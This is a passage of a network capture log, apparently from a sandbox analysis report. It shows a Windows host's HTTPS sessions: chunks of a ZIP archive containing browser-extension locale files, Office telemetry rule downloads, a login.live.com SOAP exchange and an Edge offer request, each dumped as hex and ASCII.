2024-10-31 00:18:40 UTC	1378	IN	Data Raw: f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-31 00:18:40 UTC	1378	IN	Data Raw: bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-10-31 00:18:40 UTC	1378	IN	Data Raw: 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-10-31 00:18:40 UTC	1378	IN	Data Raw: 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2
2024-10-31 00:18:40 UTC	1378	IN	Data Raw: 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 Data Ascii: [{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-10-31 00:18:40 UTC	1378	IN	Data Raw: a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-10-31 00:18:40 UTC	1378	IN	Data Raw: 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:41 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:41 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001841Z-16849878b78wc6ln1zsrz6q9w800000008g0000000005hcd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:41 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:41 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:41 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: fe72e82f-401e-008c-6e5e-2786c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001841Z-17c5cb586f6sqz6f73fsew1zd800000002m0000000002edn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:41 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:41 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:41 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:41 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a1443afe-101e-00a2-13ee-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001841Z-15b8d89586f8l5961kfst8fpb00000000mn000000000at7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:41 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:41 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:41 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:41 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 97090380-701e-0032-52b4-2aa540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001841Z-16849878b78bcpfn2qf7sm6hsn0000000a9000000000t5xa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:41 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:41 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:41 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:41 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 335320d3-001e-000b-4596-2a15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001841Z-16849878b78p8hrf1se7fucxk800000009h000000000v12t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:41 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49846	40.126.32.140	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-31 00:18:41 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-31 00:18:42 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 31 Oct 2024 00:17:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: c0f64d7a-2c51-493c-b758-94ae336d1bb0 PPServer: PPV: 30 H: PH1PEPF00011F5A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 31 Oct 2024 00:18:41 GMT Connection: close Content-Length: 1276
2024-10-31 00:18:42 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49852	94.245.104.56	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:41 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 00:18:42 UTC	506	IN	HTTP/1.1 503 Service Unavailable Content-Length: 27 Connection: close Content-Type: text/html Date: Thu, 31 Oct 2024 00:18:42 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=436842ee8924729835dcf04d775f0933f840858fe9ce2ecfe11725e4533a4712;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=436842ee8924729835dcf04d775f0933f840858fe9ce2ecfe11725e4533a4712;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com X-Powered-By: ASP.NET
2024-10-31 00:18:42 UTC	27	IN	Data Raw: 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e Data Ascii: The service is unavailable.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49859	162.159.61.3	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
